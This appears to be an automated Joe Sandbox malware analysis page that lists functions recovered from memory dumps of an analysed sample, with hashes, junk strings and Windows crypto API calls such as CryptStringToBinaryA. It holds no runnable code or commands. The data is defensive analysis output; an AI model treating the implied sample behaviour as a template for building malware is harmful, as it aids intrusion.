Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 18b2ddcf704cdbbc60492b833f6e4cdefdf105fdcabc2383a5cafdb3fd6b1dcc
Instruction ID: b386b85e1c2566188c7f7d5faa53df8ba3e3d12773c11a25d0eb9ab8f6c934f6
Opcode Fuzzy Hash: 18b2ddcf704cdbbc60492b833f6e4cdefdf105fdcabc2383a5cafdb3fd6b1dcc
Instruction Fuzzy Hash: 810112B5B40208BBEB24DFD4DD4AF9D7778EB44700F104555FB05AB2C0D770AA118B69

Function 005B7421 Relevance: 6.7, Strings: 4, Instructions: 1680COMMON

Download Yara Rule

Strings

%vs, xrefs: 005B7F76
I>w, xrefs: 005B8032
27~<, xrefs: 005B8038
eo=, xrefs: 005B758A

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %vs$27~<$I>w$eo=
API String ID: 0-1221593070
Opcode ID: 442c30c60e477dd6bb65b5cf749b617b6874844ef923db93495bc40a4bd4e3ff
Instruction ID: 53254def2c62dddc85d00c40552d45027ba9529fb3c8f9039759e435096cce48
Opcode Fuzzy Hash: 442c30c60e477dd6bb65b5cf749b617b6874844ef923db93495bc40a4bd4e3ff
Instruction Fuzzy Hash: D1B23BF3A0C204AFE3046E2DEC8567ABBE9EFD4320F1A453DEAC5C7744E93558058696

Function 005B3F13 Relevance: 6.7, Strings: 4, Instructions: 1658COMMON

Download Yara Rule

Strings

y0, xrefs: 005B46D9
M<=O, xrefs: 005B4304
d-{, xrefs: 005B480D
c7}, xrefs: 005B3FB7

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: M<=O$c7}$d-{$y0
API String ID: 0-73426601
Opcode ID: a7e32eace5a0fe3b761015f25fbfead4e49b652355371da960e2db6c8fd347e4
Instruction ID: 79ae6725094485f1b39baad90bc8bd9cf13200c9aeb39a6b8f23b51f57bcac4e
Opcode Fuzzy Hash: a7e32eace5a0fe3b761015f25fbfead4e49b652355371da960e2db6c8fd347e4
Instruction Fuzzy Hash: 93B207F360C2049FE314AE2DEC8577ABBE9EB94320F16463DEAC4C3744EA3558058697

Function 005BC679 Relevance: 6.6, Strings: 4, Instructions: 1645COMMON

Download Yara Rule

Strings

Vr}, xrefs: 005BD1F2
fdqz, xrefs: 005BCF77
b~k, xrefs: 005BCC24
'wv, xrefs: 005BD659

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'wv$Vr}$fdqz$b~k
API String ID: 0-2469248036
Opcode ID: 0926c89e0202155ece365a8f77cbfead0acb4627fdf06f688a9687094623582b
Instruction ID: 8fd3cee2e92894144e8c85e1e72b71401e5ba5d8e4fce279240192d970041657
Opcode Fuzzy Hash: 0926c89e0202155ece365a8f77cbfead0acb4627fdf06f688a9687094623582b
Instruction Fuzzy Hash: 85B2F8F360C2049FE304AE29EC8567AF7E9EFD4720F16893DE6C483744EA3558058697

Function 001F8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,001E5184,40000001,00000000,00000000,?,001E5184), ref: 001F8EC0

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: db19d1cf48700387e713d0a9c277d5eef635d50890408b0d401a2d48fb249950
Instruction ID: 3a5dfcce88b4248c27a24818e96bc4fd33cd923e1072af9add2d2688cbd3694d
Opcode Fuzzy Hash: db19d1cf48700387e713d0a9c277d5eef635d50890408b0d401a2d48fb249950
Instruction Fuzzy Hash: 1A111570200209BFDB04CF64E885FBB33AAAF89704F109458FE198B251DB75EC52DB64

Function 001E9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,001E4EEE,00000000,?), ref: 001E9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9B2A
LocalFree.KERNEL32(?,?,?,?,001E4EEE,00000000,?), ref: 001E9B3F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 9a1673910d717188bca70fe01d4f12953e7509a9593f34e9b461cd58b975b51f
Instruction ID: 7cf00623730a082bc2109317eb052ef83e1cde68ea46c7eee6764d74d412fed2
Opcode Fuzzy Hash: 9a1673910d717188bca70fe01d4f12953e7509a9593f34e9b461cd58b975b51f
Instruction Fuzzy Hash: D511A2B4240208BFEB10CF64DC95FAAB7B5FB89704F208058FE159B390C7B6A951CB94

Function 005B8F94 Relevance: 5.4, Strings: 3, Instructions: 1615COMMON

Download Yara Rule

Strings

g;I, xrefs: 005B92AA
0O?, xrefs: 005B9523
/1Qm, xrefs: 005B992D

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /1Qm$0O?$g;I
API String ID: 0-1983851142
Opcode ID: aaaea3ca34594a944381b5deca07895f2e1a97037d49c9cba6cbd0391192b627
Instruction ID: e04393ed2096e58e33ce093d584714dc995dc0a8a624c2c88400b1471c68341c
Opcode Fuzzy Hash: aaaea3ca34594a944381b5deca07895f2e1a97037d49c9cba6cbd0391192b627
Instruction Fuzzy Hash: EBB209F360C204AFE304AE29EC8567ABBE5EF94720F16893DE6C4C7744EA3558418797

Function 001F3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(001FE118,00000000,00000001,001FE108,00000000), ref: 001F3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 001F37B0

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 937795853ea106e1893922be24b031ade8e3e27e2580f6fc44e2633de78e36dd
Instruction ID: 3f06726a9a18784c01201968506cb4cb8464943c27f680a84a09d38459552323
Opcode Fuzzy Hash: 937795853ea106e1893922be24b031ade8e3e27e2580f6fc44e2633de78e36dd
Instruction Fuzzy Hash: 0C41DA70A40A1C9FDB24DB58CC95BABB7B5BB48702F4042D8E619E72D0D771AE85CF50

Function 005AC1F2 Relevance: 4.5, Strings: 3, Instructions: 757COMMON

Download Yara Rule

Strings

kqk}, xrefs: 005AC280
&k}, xrefs: 005AC58C
*g, xrefs: 005AC445

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &k}$*g$kqk}
API String ID: 0-1266743917
